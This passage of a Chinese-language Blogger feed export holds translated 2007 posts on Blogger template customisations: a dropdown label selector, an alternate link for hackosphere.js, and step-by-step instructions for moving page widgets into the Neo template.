italic;"&gt;b:loop &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;values&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;='data:labels' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;='label'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;li&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;='data:blog.url == &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;data:label.url'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;data:label&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;.name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;b:else&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;expr:href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;='data:label.url'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;data:label&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;.name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;    (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;data:label&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;.count&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;)&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;li&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;b:loop&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-style: italic;"&gt;ul&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-style: italic;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:include &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='quickedit'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:includable&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:widget&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;用下面的代码替换上面的&lt;span style="font-style: italic;"&gt;斜体部分&lt;/span&gt;。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;br &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;select &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;onchange&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='location=this.options[this.selectedIndex].value;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Select a label&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:loop &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;values&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:labels' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='label'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;expr:value&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:label.url'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:label&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;      (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:label&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.count&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;option&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:loop&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;select&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　把修改好的模板到 Blogger 或 Voila，下拉式标签就改好了！&lt;br /&gt;　　（我也看了看展开/合拢选项在标签中是否也起作用，但 Blogger 好像是使用搜索来而没有为每个标签提供列表。当我时间充裕的时候我会研究一下实现的可能性。）&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-1283039736869498280?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/1283039736869498280/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=1283039736869498280' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1283039736869498280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1283039736869498280'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/first-blogger-beta-template-hack.html' title='[翻译]下拉式标签 - 第一个 Blogger Beta 的模板 hack'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8488731637647064778</id><published>2007-05-06T04:41:00.001+08:00</published><updated>2010-11-30T11:24:30.573+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>hackosphere.js 的地址</title><content type='html'>　　Ramani提供了另一个地址，如果链接不到原来的，就改成这个：http://rarunach.googlepages.com/hackosphere.js&lt;br /&gt;thanks, Ramani&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8488731637647064778?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8488731637647064778/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8488731637647064778' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8488731637647064778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8488731637647064778'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/hackospherejs.html' title='hackosphere.js 的地址'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8908925209711541283</id><published>2007-05-06T02:12:00.000+08:00</published><updated>2007-05-20T17:55:20.178+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]在你的 blog 中使用 Neo 模板</title><content type='html'>原文：&lt;a href="http://hackosphere.blogspot.com/2007/05/installing-neo-template-in-your-blog.html"&gt;http://hackosphere.blogspot.com/2007/05/installing-neo-template-in-your-blog.html&lt;/a&gt;&lt;br /&gt;[还不知道 Neo ？&lt;a href="http://hackosphere.blogspot.com/2006/12/now-available-neo-%20template.html"&gt;看这里&lt;/a&gt;]&lt;br /&gt;　　早些时候我曾说过，现在我解释一下如何在不丢失已有页面元素的情况下安装 Neo （很抱歉推迟了一些）。我为付费用户把页面元素移动到 Neo 模板中，但免费版的用户必须自己操作。这里是新 blogger 模板中需要了解的一些知识：对于 blog 中的任何 widget ，在模板中只以代码方式存在。所有属于某个 widget 的数据（比如，链接列表中的所有链接）并不是模板的一部分。 所以，如果你仅仅从就模板中的代码移到 Neo 中， Neo 会读取这些数据，而所有的页面元素都将像以前的方式工作。&lt;br /&gt;　　新 blogger 模板中另一个方便的功能是可以不展开代码（模板代码在默认在没有选种“展开窗口小部件代码”的情况下显示）。下图是这种显示下的样子。&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_Lr7AKaVWcQI/RjzSJ7J7SII/AAAAAAAAAAc/Nr3CDLOONlY/s1600-h/widgets.GIF"&gt;&lt;img style="cursor: pointer;" src="http://bp0.blogger.com/_Lr7AKaVWcQI/RjzSJ7J7SII/AAAAAAAAAAc/Nr3CDLOONlY/s400/widgets.GIF" alt="" id="BLOGGER_PHOTO_ID_5061151149197576322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;　　在上图中，以 b:widget 开始的每一行都代表一个页面元素，而每个元素都有一个 id。元素都在个子的段内（以 b:section 开始的行）。 就如图中显示的那样，它们会在侧边栏和页面底部的代码段中。所以，我们所需要做得就是把所有以 b:widget 开始的行添加到 Neo 中（当第一次成功的时候我非常高兴）。让我一步一步的详细解释安装过程：&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;　　声明&lt;/span&gt;：请注意您对拷贝页面元素到 Neo 的过程负责。如果您按照下面的步骤操作，一切都没有问题。所以，在开始之前请阅读两次步骤。&lt;br /&gt;第一步：备份你的模板（非常重要）；&lt;br /&gt;第二步：在“模板”中选择“编辑 HTML”。复制 &amp;lt;body&amp;gt; 后所有以 &amp;lt;b:widget开始的行（除了页面元素中 id 为 "Blog1" 的行，这个元素代表 blog 中的文章) 到一个文件中；&lt;br /&gt;第三步：&lt;a href="http://rarunach.googlepages.com/neo-alt.xml"&gt;下载 Neo&lt;/a&gt; 并保存为文件。打开 neo.xml，找到下面的代码。复制/粘贴所有页面元素代码到下面标示的位置（在&amp;lt;/b:widget&gt;与&amp;lt;/b:section&gt;中间）。保存文件；&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='newsidebar-wrapper'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:section &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='sidebar' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='newsidebar' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;preferred&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='yes'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:widget &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='Posts' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;locked&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='false' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;title&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='Posts' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='HTML'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:includable &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='main'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='LabelDisplay'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='LabelTitle'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='widget-content' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='LabelPosts'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;language&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='javascript'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;fetchLatestPosts(&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;&amp;lt;data:blog.homepageUrl/&amp;gt;&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;''&lt;/span&gt;&lt;span style="background-color: rgb(245, 245, 245); color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;script&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:includable&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:widget&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;在这里添加页面元素代码&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:section&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;第四步：保存模板。保存的时候不应该会得到图中的错误提示；&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_Lr7AKaVWcQI/RjzacLJ7SJI/AAAAAAAAAAk/SFuIQEyNZog/s1600-h/error.JPG"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_Lr7AKaVWcQI/RjzacLJ7SJI/AAAAAAAAAAk/SFuIQEyNZog/s400/error.JPG" alt="" id="BLOGGER_PHOTO_ID_5061160258823211154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;　　如果出现错误提示，不要点击“确认并保存”按钮。否则你会永久丢失所有页面元素。点击“取消”。这个错误提示说明你丢失了了旧模板中的一些页面元素。在例子中，Label1， HTML1，HTML2 是丢失的元素的 id。回到没有展开的旧模板代码中，找到这些对应这些元素的代码。当你把它们添加到 Neo 中，保存时将不会出现错误提示。&lt;br /&gt;第五步：现在如果进入“页面元素”页面，你将看到如下图所示的3列。最左边的列有 Labels 元素，第二列最上面是 Posts 元素。这是 Neo 中两个默认元素。虽然把它们最上面比较不错，你也可以按照你的意愿放到其他位置。但如果你删除它们将会失去 Neo 的某些功能（异步读取文章）。第二列中其他的元素是你刚才复制的内容。你可以把它们放在任何你希望的地方；&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_Lr7AKaVWcQI/RjzcerJ7SKI/AAAAAAAAAAs/KI3fdab8CLE/s1600-h/elements.JPG"&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_Lr7AKaVWcQI/RjzcerJ7SKI/AAAAAAAAAAs/KI3fdab8CLE/s320/elements.JPG" alt="" id="BLOGGER_PHOTO_ID_5061162500796139682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;第六步：还需要一些设置让  Neo 正常工作。进入“设置/供稿”，如果你在“基本模式”，切换到“高级模式”并保存。在“格式设定”中设置在主页上展示1篇文章（Neo 会在你点击其他文章标题时替换这篇文章。如果你在主页中有很多文章，它将只会替换第一篇）。因为搜索引擎不会索引 Neo 的 javascript 链接，在 blog 中添加“博客归档”永远都是一个好主意。（我使用 Neo 已经有一段时间，但是到我 blog 的访问并没有受影响）。&lt;br /&gt;　　在 &lt;a href="http://rarunach.googlepages.com/neofaq"&gt;Neo 常见问题&lt;/a&gt;中提到了一些 Neo 的修改，最好也阅读一下。祝你成功过渡到  Neo！&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8908925209711541283?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8908925209711541283/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8908925209711541283' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8908925209711541283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8908925209711541283'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blog-neo.html' title='[翻译]在你的 blog 中使用 Neo 模板'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 